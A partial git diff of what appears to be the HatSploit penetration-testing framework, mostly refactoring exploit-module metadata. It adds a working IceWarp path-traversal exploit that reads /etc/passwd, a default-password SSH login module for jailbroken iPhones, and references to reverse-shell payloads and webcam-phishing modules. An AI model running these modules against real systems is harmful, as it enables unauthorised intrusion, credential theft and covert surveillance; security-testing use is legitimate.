-> Any: + def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None, + method: str = 'run', badchars: bytes = b'') -> Any: """ Run payload and apply encoder to it. :param Payload payload: payload object :param Optional[Encoder] encoder: encoder object :param str method: payload generator method (run, implant, phaseN) + :param bytes badchars: add custom bad chars to omit :return Any: payload result """ @@ -409,4 +425,4 @@ def run_payload(self, payload: Payload, encoder: Optional[Encoder] = None, metho code = self.encoders.encode_payload(encoder, code) return self.fix_badchars( - payload, code, payload.badchars.value) + payload, code, payload.badchars.value + badchars) diff --git a/hatsploit/lib/runtime.py b/hatsploit/lib/runtime.py index 39431338c..4214d79f5 100755 --- a/hatsploit/lib/runtime.py +++ b/hatsploit/lib/runtime.py @@ -124,6 +124,6 @@ def catch(self, target: Callable[..., Any], args: list = []) -> Union[Any, None, except Exception as e: self.badges.print_error(f"An error occurred: {str(e)}!") - traceback.print_stack(file=sys.stdout) + traceback.print_exc(file=sys.stdout) return Exception diff --git a/hatsploit/lib/show.py b/hatsploit/lib/show.py index 2f1f30bee..128c99ab9 100755 --- a/hatsploit/lib/show.py +++ b/hatsploit/lib/show.py @@ -678,6 +678,52 @@ def show_search_payloads(self, payloads: dict, keyword: str) -> None: if shorts: self.local_storage.set("payload_shorts", shorts) + def show_module_targets(self, module: Module) -> None: + """ Show module targets. + + :param Module module: module object + :return None: None + :raises RuntimeWarning: with trailing error message + """ + + if not module: + raise RuntimeWarning("No module selected.") + + targets = module.details['Targets'] + headers = ('Current', 'ID', 'Name') + number = 0 + data = [] + + for target in targets: + data.append(('*' if module.target == targets[target] else '', number, target)) + number += 1 + + if data: + self.tables.print_table(f"Targets ({module.details['Module']})", headers, *data) + + def show_module_devices(self, module: Module) -> None: + """ Show module devices. + + :param Module module: module object + :return None: None + :raises RuntimeWarning: with trailing error message + """ + + if not module: + raise RuntimeWarning("No module selected.") + + devices = module.details['Devices'] + headers = ('ID', 'Name') + number = 0 + data = [] + + for device in devices: + data.append((number, device)) + number += 1 + + if data: + self.tables.print_table(f"Devices ({module.details['Module']})", headers, *data) + def show_module_information(self, details: Optional[dict] = None) -> None: """ Show module details. diff --git a/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py b/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py index 25b825e7a..807b5194d 100755 --- a/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py +++ b/hatsploit/modules/auxiliary/android/checker/check_adb_installation.py @@ -17,11 +17,13 @@ def __init__(self): 'Name': "ADB Installation Checker", 'Module': "auxiliary/android/checker/check_adb_installation", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Check if remote Android device has ADB installation.", + 'Description': ( + "Check if remote Android device has ADB installation." + ), 'Platform': OS_ANDROID, - 'Rank': "low", + 'Rank': LOW_RANK, }) self.target = IPv4Option(None, "Remote host.", True) diff --git a/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py b/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py index 32fa3cb61..409f9a054 100755 --- a/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py +++ b/hatsploit/modules/auxiliary/apple_ios/checker/jailbroken_or_not.py @@ -16,11 +16,13 @@ def __init__(self): 'Name': "Jailbreak Installation Checker", 'Module': "auxiliary/apple_ios/checker/jailbroken_or_not", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Check if remote iPhone jailbroken.", + 'Description': ( + "Check if remote iPhone jailbroken." + ), 'Platform': OS_IPHONE, - 'Rank': "low", + 'Rank': LOW_RANK, }) self.target = IPv4Option(None, "Remote host.", True) diff --git a/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py b/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py index 87cece986..134b71920 100755 --- a/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py +++ b/hatsploit/modules/auxiliary/generic/scanner/directory_scanner.py @@ -19,11 +19,13 @@ def __init__(self): 'Name': "WEB Directory Scanner", 'Module': "auxiliary/generic/scanner/directory_scanner", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Website directory scanner.", + 'Description': ( + "Website directory scanner." + ), 'Platform': OS_GENERIC, - 'Rank': "medium", + 'Rank': MEDIUM_RANK, }) self.host = IPv4Option(None, "Remote host.", True) diff --git a/hatsploit/modules/auxiliary/generic/scanner/http_header.py b/hatsploit/modules/auxiliary/generic/scanner/http_header.py index ab658109a..ce6e4dc00 100755 --- a/hatsploit/modules/auxiliary/generic/scanner/http_header.py +++ b/hatsploit/modules/auxiliary/generic/scanner/http_header.py @@ -13,13 +13,17 @@ def __init__(self): super().__init__() self.details.update({ - 'Category': 'auxiliary', - 'Name': 'HTTP Header', - 'Module': 'auxiliary/generic/scanner/http_header', - 'Authors': ['Noah Altunian (naltun) - contributor'], - 'Description': 'Retrieve HTTP headers from a server.', + 'Category': "auxiliary", + 'Name': "Enumerate HTTP Headers", + 'Module': "auxiliary/generic/scanner/http_header", + 'Authors': [ + "Noah Altunian (naltun) - module developer" + ], + 'Description': ( + "Retrieve HTTP headers from a server." + ), 'Platform': OS_GENERIC, - 'Rank': 'low', + 'Rank': LOW_RANK, }) self.host = IPv4Option(None, "Remote host.", True) diff --git a/hatsploit/modules/auxiliary/generic/scanner/http_methods.py b/hatsploit/modules/auxiliary/generic/scanner/http_methods.py index f5add94bb..11a3228ca 100755 --- a/hatsploit/modules/auxiliary/generic/scanner/http_methods.py +++ b/hatsploit/modules/auxiliary/generic/scanner/http_methods.py @@ -13,13 +13,17 @@ def __init__(self): super().__init__() self.details.update({ - 'Category': 'auxiliary', - 'Name': 'HTTP Methods', - 'Module': 'auxiliary/generic/scanner/http_methods', - 'Authors': ['Noah Altunian (naltun) - contributor'], - 'Description': 'Find supported HTTP methods on a server', + 'Category': "auxiliary", + 'Name': "Enumerate HTTP Methods", + 'Module': "auxiliary/generic/scanner/http_methods", + 'Authors': [ + "Noah Altunian (naltun) - module developer" + ], + 'Description': ( + "Find supported HTTP methods on a server" + ), 'Platform': OS_GENERIC, - 'Rank': 'low', + 'Rank': LOW_RANK, }) self.host = IPv4Option(None, "Remote host.", True) diff --git a/hatsploit/modules/exploit/android/adb/remote_code_execution.py b/hatsploit/modules/exploit/android/adb/remote_code_execution.py index e1483b0f2..efcab2c05 100755 --- a/hatsploit/modules/exploit/android/adb/remote_code_execution.py +++ b/hatsploit/modules/exploit/android/adb/remote_code_execution.py @@ -16,15 +16,30 @@ def __init__(self): 'Name': "Android ADB Remote Code Execution", 'Module': "exploit/android/adb/remote_code_execution", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Remote Code Execution in Android ADB.", + 'Description': ( + "Remote Code Execution in Android ADB." + ), 'Platform': OS_ANDROID, - 'Rank': "high", + 'Rank': HIGH_RANK, 'Payload': { - 'Value': "unix/generic/bash_reverse_tcp", - 'Platforms': [OS_ANDROID, OS_LINUX, OS_UNIX], - 'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC] + PayloadInlineMixin: { + 'Value': "unix/generic/bash_reverse_tcp", + 'Platform': [OS_ANDROID, OS_LINUX, OS_UNIX], + 'Arch': [ARCH_GENERIC] + }, + PayloadDropMixin: { + 'Value': "linux/aarch64/shell_reverse_tcp", + 'Platform': [OS_ANDROID, OS_LINUX, OS_UNIX], + 'Arch': [ARCH_ARMLE, ARCH_AARCH64], + } + }, + 'DisclosureDate': "2016-01-01", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [RELIABLE_SESSION], + 'SideEffects': [], } }) diff --git a/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py b/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py index 11196bf27..216edc8fa 100755 --- a/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py +++ b/hatsploit/modules/exploit/apple_ios/safari/webkit_filter_dos.py @@ -16,12 +16,24 @@ def __init__(self): 'Name': "iOS Safari WebKit Filter DoS", 'Module': "exploit/apple_ios/safari/webkit_filter_dos", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Sabri Haddouche (pwnsdx) - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Sabri Haddouche (pwnsdx) - vulnerability researcher", ], - 'Description': "iOS 9.1 till 12.1 MobileSafari.app WebKit Filter DoS.", + 'Description': ( + "This is an exploit for iOS Safari WebKit DoS vulnerability. " + "If successful, the device will restart after viewing the webpage." + ), 'Platform': OS_IPHONE, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'References': [ + {'URL': 'https://twitter.com/pwnsdx/status/1040944750973595649'}, + ], + 'DisclosureDate': "2018-09-15", + 'Notes': { + 'Stability': [CRASH_DOWN], + 'Reliability': [], + 'SideEffects': [], + } }) self.urlpath = Option("/", "File path on server", True) diff --git a/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py b/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py index 2e484a944..b84a959b2 100755 --- a/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py +++ b/hatsploit/modules/exploit/apple_ios/ssh/cydia_default_password.py @@ -16,15 +16,42 @@ def __init__(self): 'Name': "iOS SSH Cydia.app Default Password", 'Module': "exploit/apple_ios/ssh/cydia_default_password", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Bypass iOS SSH authorization using Cydia.app default SSH password.", + 'Description': ( + "Bypass iOS SSH authorization using Cydia.app default SSH password." + ), 'Platform': OS_IPHONE, - 'Rank': "medium", + 'Rank': HIGH_RANK, 'Payload': { - 'Value': "unix/generic/bash_reverse_tcp", - 'Arches': [ARCH_ARMLE, ARCH_AARCH64, ARCH_GENERIC], - 'Platforms': [OS_IPHONE, OS_UNIX], + PayloadInlineMixin: { + 'Value': "unix/generic/bash_reverse_tcp", + 'Platform': [OS_IPHONE, OS_UNIX], + 'Arch': [ARCH_GENERIC], + }, + PayloadDropMixin: { + 'Platform': [OS_IPHONE], + 'Arch': [ARCH_ARMLE, ARCH_AARCH64], + } + }, + 'Targets': { + 'Apple iOS (Cydia.app)': { + 'Credentials': [ + ('root', 'dottie'), + ('root', 'alpine'), + ('mobile', 'dottie'), + ('mobile', 'alpine'), + ] + } + }, + 'References': [ + {'OSVDB': 61284}, + ], + 'DisclosureDate': "2007-07-02", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [RELIABLE_SESSION], + 'SideEffects': [], } }) @@ -32,25 +59,18 @@ def __init__(self): self.password.visible = False def run(self): - credentials = [ - ('root', 'dottie'), - ('root', 'alpine'), - ('mobile', 'dottie'), - ('mobile', 'alpine'), - ] - - for account in credentials: - self.print_process(f"Attempt to log in as {account[0]}:{account[1]}...") + for login, password in self.target['Credentials']: + self.print_process(f"Attempt to log in as {login}...") - self.username.set(account[0]) - self.password.set(account[1]) + self.username.set(login) + self.password.set(password) client = self.open_ssh() try: client.connect() - self.print_success(f"Logged in via {account[0]}:{account[1]}!") + self.print_success(f"Logged in via {login}!") self.module_handle( sender=client.send_command ) @@ -59,4 +79,4 @@ def run(self): break except RuntimeError: - self.print_error(f"Failed to log in via {account[0]}:{account[1]}!") + self.print_error(f"Failed to log in via {login}!") diff --git a/hatsploit/modules/exploit/linux/apache/nifi_api_rce.py b/hatsploit/modules/exploit/generic/apache/nifi_api_rce.py similarity index 54% rename from hatsploit/modules/exploit/linux/apache/nifi_api_rce.py rename to hatsploit/modules/exploit/generic/apache/nifi_api_rce.py index bf297991f..79f517576 100755 --- a/hatsploit/modules/exploit/linux/apache/nifi_api_rce.py +++ b/hatsploit/modules/exploit/generic/apache/nifi_api_rce.py @@ -14,16 +14,60 @@ def __init__(self): self.details.update({ 'Category': "exploit", 'Name': "Apache NiFi API Remote Code Execution", - 'Module': "exploit/linux/apache/nifi_api_rce", + 'Module': "exploit/generic/apache/nifi_api_rce", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Remote Code Execution in Apache NiFi component API.", - 'Platform': OS_LINUX, - 'Rank': "high", - 'Payload': { - 'Value': "unix/generic/netcat_reverse_tcp", - 'Platforms': [OS_LINUX, OS_UNIX], + 'Description': ( + "Remote Code Execution in Apache NiFi component API." + ), + 'Platform': OS_GENERIC, + 'Rank': HIGH_RANK, + 'Targets': { + 'Apache NiFi 1.12.1, 1.12.1-RC2, and 1.20.0 (Linux)': { + 'Payload': { + PayloadInlineMixin: { + 'Value': 'unix/generic/netcat_reverse_tcp', + 'Platform': [OS_LINUX, OS_UNIX], + 'Arch': [ARCH_GENERIC], + 'BadChars': '"', + }, + PayloadDropMixin: { + 'Value': 'linux/x64/shell_reverse_tcp', + 'Platform': [OS_LINUX], + 'Arch': [ARCH_X86, ARCH_X64], + 'BadChars': '"', + } + } + }, + 'Apache NiFi 1.12.1, 1.12.1-RC2, and 1.20.0 (Windows)': { + 'Payload': { + PayloadInlineMixin: { + 'Value': 'windows/generic/powershell_reverse_tcp', + 'Platform': [OS_WINDOWS], + 'Arch': [ARCH_GENERIC], + 'BadChars': '"', + }, + PayloadDropMixin: { + 'Value': 'windows/x64/shell_reverse_tcp', + 'Platform': [OS_WINDOWS], + 'Arch': [ARCH_X86, ARCH_X64], + 'BadChars': '"', + } + } + } + }, + 'References': [ + {'URL': 'https://nifi.apache.org/'}, + {'URL': 'https://github.com/apache/nifi'}, + {'URL': 'https://nifi.apache.org/docs/nifi-docs/components/org.apache.nifi/nifi-standard-nar/1.12.1/' + 'org.apache.nifi.processors.standard.ExecuteProcess/index.html'} + ], + 'DisclosureDate': "2020-10-03", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [RELIABLE_SESSION], + 'SideEffects': [IOC_IN_LOGS], } }) diff --git a/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py b/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py index 5a2627d8f..feec4a4df 100755 --- a/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py +++ b/hatsploit/modules/exploit/generic/gather/browser_webcam_photo.py @@ -21,11 +21,23 @@ def __init__(self): 'Name': "Gather Browser Webcam Photo", 'Module': "exploit/generic/gather/browser_webcam_photo", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Module takes photo through browser.", + 'Description': ( + "This module generates a webpage that if accessed tries to send " + "built-in camera image to an attacker." + ), 'Platform': OS_GENERIC, - 'Rank': "high", + 'Rank': LOW_RANK, + 'References': [ + {'URL': 'https://blog.entysec.com/2022-03-13-webcam-photo-phishing/'} + ], + 'DisclosureDate': "2022-03-13", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) self.urlpath = Option("/", "File path on server.", True) diff --git a/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py b/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py index 22b419608..fbcc523ba 100755 --- a/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py +++ b/hatsploit/modules/exploit/generic/gather/browser_webcam_stream.py @@ -21,11 +21,24 @@ def __init__(self): 'Name': "Gather Browser Webcam Stream", 'Module': "exploit/generic/gather/browser_webcam_stream", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Module streams webcam through browser.", + 'Description': ( + "This module generates a webpage that if accessed tries to send " + "built-in camera image to an attacker. Module streams received images " + "afterwards." + ), 'Platform': OS_GENERIC, - 'Rank': "medium", + 'Rank': LOW_RANK, + 'References': [ + {'URL': 'https://blog.entysec.com/2022-03-13-webcam-photo-phishing/'} + ], + 'DisclosureDate': "2022-03-13", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) self.urlpath = Option("/", "File path on server.", True) @@ -57,7 +70,7 @@ def post(request): self.loot.save_file(self.path.value, photo_data, 'png') - client = self.open_stream(self.path.value) + client = self.open_stream(image=self.path.value) client.create_video() client.stream() diff --git a/hatsploit/modules/exploit/generic/handler.py b/hatsploit/modules/exploit/generic/handler.py index 99db2a60c..35c7c9b61 100644 --- a/hatsploit/modules/exploit/generic/handler.py +++ b/hatsploit/modules/exploit/generic/handler.py @@ -15,11 +15,11 @@ def __init__(self): 'Name': "Generic Handler", 'Module': "exploit/generic/handler", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], 'Description': "Handle any session.", 'Platform': OS_GENERIC, - 'Rank': "high", + 'Rank': HIGH_RANK, }) def run(self): diff --git a/hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py b/hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py new file mode 100755 index 000000000..7531e765c --- /dev/null +++ b/hatsploit/modules/exploit/generic/icewarp/webmail_path_traversal.py @@ -0,0 +1,73 @@ +""" +This module requires HatSploit: https://hatsploit.com +Current source: https://github.com/EntySec/HatSploit +""" + +from hatsploit.lib.module.basic import * +from hatsploit.lib.module.proto import HTTP + + +class HatSploitModule(Module, HTTP): + def __init__(self): + super().__init__() + + self.details.update({ + 'Category': "exploit", + 'Name': "IceWarp WebMail Path Traversal", + 'Module': "exploit/generic/icewarp/webmail_path_traversal", + 'Authors': [ + "Ivan Nikolskiy (enty8080) - module developer", + "Jameel Nabbo (JameelNabbo) - vulnerability researcher", + ], + 'Description': ( + "IceWarp WebMail server has a vulnerability exploitation of which " + "leading to a path traversal." + ), + 'Platform': OS_LINUX, + 'Rank': HIGH_RANK, + 'Targets': { + 'IceWarp <= 10.4.4 (Linux)': { + 'Postfix': '%2f' + }, + 'IceWarp <= 10.4.4 (Windows)': { + 'Postfix': '%5c' + } + }, + 'References': [ + {'URL': 'https://nvd.nist.gov/vuln/detail/CVE-2019-12593'}, + {'URL': 'https://www.exploit-db.com/exploits/46959'}, + {'CVE': '2019-12593'}, + {'EDB': 46959} + ], + 'DisclosureDate': "2019-06-03", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } + }) + + self.file = Option("/etc/passwd", "File to read.", True) + + def check(self): + response = self.http_request( + method="GET", + path='/webmail/calendar/minimizer/index.php', + ) + + if not response or response.status_code != 200: + return False + + return True + + def run(self): + path = f"..{self.target['Postfix']}" * 8 + response = self.http_request( + method="GET", + path=f'{path}{self.file.value}', + ) + + if response.text: + self.print_empty(f"\n{response.text}") + else: + self.print_warning("File is empty.") diff --git a/hatsploit/modules/exploit/generic/ssh/server_code_execution.py b/hatsploit/modules/exploit/generic/ssh/server_code_execution.py index 850c7d9f0..e3e0d659a 100755 --- a/hatsploit/modules/exploit/generic/ssh/server_code_execution.py +++ b/hatsploit/modules/exploit/generic/ssh/server_code_execution.py @@ -16,11 +16,25 @@ def __init__(self): 'Name': "SSH Server Code Execution", 'Module': "exploit/generic/ssh/server_code_execution", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", ], - 'Description': "Execute code on server with SSH enabled.", + 'Description': ( + "Execute code on server with SSH enabled." + ), 'Platform': OS_GENERIC, - 'Rank': "medium", + 'Rank': HIGH_RANK, + 'Payload': { + PayloadInlineMixin: { + 'Arch': [ARCH_GENERIC] + }, + PayloadDropMixin: {} + }, + 'DisclosureDate': "2007-01-01", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [RELIABLE_SESSION], + 'SideEffects': [], + } }) def run(self): diff --git a/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py b/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py index 51674d64a..dbde1a4ab 100755 --- a/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py +++ b/hatsploit/modules/exploit/linux/3com/ap8670_credentials_disclosure.py @@ -15,15 +15,24 @@ def __init__(self): self.details.update({ 'Category': "exploit", - 'Name': "3Com AP8670 Disclosure", + 'Name': "3Com AP8670 Credentials Disclosure", 'Module': "exploit/linux/3com/ap8670_credentials_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Richard Brain - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Richard Brain - vulnerability researcher", ], - 'Description': "3Com AP8670 credentials disclosure exploit.", + 'Description': ( + "Module attempts to exploit a vulnerability that exists in 3Com AP8670 " + "and fetch credentials for administrator account." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'DisclosureDate': "2018-05-11", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) def check(self): diff --git a/hatsploit/modules/exploit/linux/antiweb/path_traversal.py b/hatsploit/modules/exploit/linux/antiweb/path_traversal.py index 997a3759b..e8da17731 100755 --- a/hatsploit/modules/exploit/linux/antiweb/path_traversal.py +++ b/hatsploit/modules/exploit/linux/antiweb/path_traversal.py @@ -16,13 +16,20 @@ def __init__(self): 'Name': "Anti-Web Path Traversal", 'Module': "exploit/linux/antiweb/path_traversal", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Bertin Jose - vulnerability researcher', - 'Fernandez Ezequiel - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Bertin Jose - vulnerability researcher", + "Fernandez Ezequiel - vulnerability researcher", ], - 'Description': "Path Traversal in Anti-Web v3.0.7 till v3.8.7.", + 'Description': ( + "Path Traversal in Anti-Web v3.0.7 till v3.8.7." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) self.file = Option("/etc/passwd", "File to read.", True) diff --git a/hatsploit/modules/exploit/linux/asus/multi_password_disclosure.py b/hatsploit/modules/exploit/linux/asus/rt_n16_password_disclosure.py similarity index 53% rename from hatsploit/modules/exploit/linux/asus/multi_password_disclosure.py rename to hatsploit/modules/exploit/linux/asus/rt_n16_password_disclosure.py index 041785e22..c6cc5bfdf 100755 --- a/hatsploit/modules/exploit/linux/asus/multi_password_disclosure.py +++ b/hatsploit/modules/exploit/linux/asus/rt_n16_password_disclosure.py @@ -15,15 +15,35 @@ def __init__(self): self.details.update({ 'Category': "exploit", - 'Name': "Asus Multi Password Disclosure", - 'Module': "exploit/linux/asus/multi_password_disclosure", + 'Name': "Asus RT-N16 Password Disclosure", + 'Module': "exploit/linux/asus/rt_n16_password_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Harry Sintonen (piru) - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Harry Sintonen (piru) - vulnerability researcher", ], - 'Description': "Asus multiple devices password disclosure exploit.", + 'Description': ( + "Asus RT-N16 router has a vulnerability exploitation of which " + "leading to a specific user (admin) password disclosure." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'Devices': [ + "ASUS RT-N10U, firmware 3.0.0.4.374_168", + "ASUS RT-N56U, firmware 3.0.0.4.374_979", + "ASUS DSL-N55U, firmware 3.0.0.4.374_1397", + "ASUS RT-AC66U, firmware 3.0.0.4.374_2050", + "ASUS RT-N15U, firmware 3.0.0.4.374_16", + "ASUS RT-N53, firmware 3.0.0.4.374_311" + ], + 'References': [ + {'URL': 'https://sintonen.fi/advisories/asus-router-auth-bypass.txt'} + ], + 'DisclosureDate': "2013-03-29", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) self.username = Option("admin", "Default username.", True) diff --git a/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py b/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py index 77ed4a294..bde2542df 100755 --- a/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py +++ b/hatsploit/modules/exploit/linux/avtech/ipcamera_credentials_disclosure.py @@ -16,11 +16,24 @@ def __init__(self): 'Name': "AVTECH IP Camera Credentials Disclosure", 'Module': "exploit/linux/avtech/ipcamera_credentials_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", + "Gergely Eberhardt - vulnerability researcher" ], - 'Description': "AVTECH IP Camera credentials disclosure.", + 'Description': ( + "AVTECH IP Camera / NVR / DVR devices credentials disclosure." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'References': [ + {'URL': 'https://www.exploit-db.com/exploits/40500'}, + {'EDB': 40500} + ], + 'DisclosureDate': "2016-10-11", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) def check(self): diff --git a/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py b/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py index eea5f1dab..5d7e9d007 100755 --- a/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py +++ b/hatsploit/modules/exploit/linux/avtech/ipcamera_information_disclosure.py @@ -16,11 +16,22 @@ def __init__(self): 'Name': "AVTECH IP Camera Information Disclosure", 'Module': "exploit/linux/avtech/ipcamera_information_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', + "Ivan Nikolskiy (enty8080) - module developer", + "Gergely Eberhardt - vulnerability researcher" ], - 'Description': "AVTECH IP Camera information disclosure exploit.", + 'Description': "AVTECH IP Camera / NVR / DVR devices information disclosure.", 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'References': [ + {'URL': 'https://www.exploit-db.com/exploits/40500'}, + {'EDB': 40500} + ], + 'DisclosureDate': "2016-10-11", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) def check(self): diff --git a/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py b/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py index 2aabd866a..807b16031 100755 --- a/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py +++ b/hatsploit/modules/exploit/linux/brickcom/multi_credentials_disclosure.py @@ -16,12 +16,40 @@ def __init__(self): 'Name': "Brickcom Multi Credentials Disclosure", 'Module': "exploit/linux/brickcom/multi_credentials_disclosure", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer', - 'Orwelllabs - vulnerability researcher', + "Ivan Nikolskiy (enty8080) - module developer", + "Orwelllabs - vulnerability researcher", ], - 'Description': "Brickcom multiple devices credentials disclosure.", + 'Description': ( + "Brickcom multiple devices credentials disclosure." + ), 'Platform': OS_LINUX, - 'Rank': "high", + 'Rank': HIGH_RANK, + 'Devices': [ + "Brickcom FB-100Ae IP Box Camera - Firmware Version: v3.0.6.12 (release:09/08/2010 14:46)", + "Brickcom WCB-100Ap Wireless Camera - Firmware Version: v3.0.6.26 (release:01/21/2011 18:31)", + "Brickcom VD-202Ne Vandal Dome Camera - Firmware Version: v37019_Promise (release:2015-10-01_18:46:07)", + "Brickcom VD-300Np Vandal Dome Camera - Firmware Version: v3.7.0.23T (release:2016-03-21_10:08:24)", + "Brickcom VD-E200Nf Vandal Dome Camera - Firmware Version: v3.7.0.5T (release:2015-06-25_11:18:07)", + "Brickcom OB-202Ne Bullet Camera - Firmware Version: v3.7.0.18R (release:2015-09-08_18:40:11)", + "Brickcom OB-E200Nf Bullet Camera - Firmware Version: v3.7.0.18.3R (release:2015-10-16_11:36:46)", + "Brickcom OB-200Np-LR Bullet Camera - Firmware Version: v3.7.0.18.3R (release:2015-10-15_11:30:46)", + "Brickcom OB-500Ap Bullet Camera - Firmware Version: v3.7.0.1cR (release:2016-01-18_10:07:03)", + "Brickcom GOB-300Np Bullet Camera (Unique Series) - Firmware Version: v3.7.0.17A (release: 2015-07-10_11:36:41)", + "Brickcom OB-200Np-LR Bullet Camera (Unique Series) - Firmware Version: v3.7.0.18.3R (release: 2015-10-15_11:30:46)", + "Brickcom MD-300Np Mini Dome Camera - Firmware Version: v3.2.2.8 (release:2013-08-01)", + "Brickcom CB-102Ae V2 Cube Camera - Firmware Version: v3.0.6.12 (release: 09/07/2010 11:45)", + "Brickcom FD-202Ne Fixed Dome Camera - Firmware Version:v3.7.0.17R (release: 2015-08-19_18:47:31)", + ], + 'References': [ + {'URL': 'https://www.exploit-db.com/exploits/39696/'}, + {'EDB': 39696} + ], + 'DisclosureDate': "2016-04-14", + 'Notes': { + 'Stability': [CRASH_SAFE], + 'Reliability': [], + 'SideEffects': [], + } }) def check(self): diff --git a/hatsploit/modules/exploit/linux/chromecast/play_media_url.py b/hatsploit/modules/exploit/linux/chromecast/play_media_url.py index 0fd5e0bb9..dca2a8052 100644 --- a/hatsploit/modules/exploit/linux/chromecast/play_media_url.py +++ b/hatsploit/modules/exploit/linux/chromecast/play_media_url.py @@ -16,11 +16,19 @@ def __init__(self): 'Name': "Play Media URL on Chromecast", 'Module': "exploit/linux/chromecast/play_media_url", 'Authors': [ - 'Ivan Nikolskiy (enty8080) - module developer' + "Ivan Nikolskiy (enty8080) - module developer" ], - 'Description': "Chromecast allows unauthorized users to play media URL.", + 'Description': ( + "Chromecast allows unauthorized users to play media URL." + ), 'Platform': OS_LINUX, - 'Rank': "low", + 'Rank': LOW_RANK, + 'DisclosureDate': 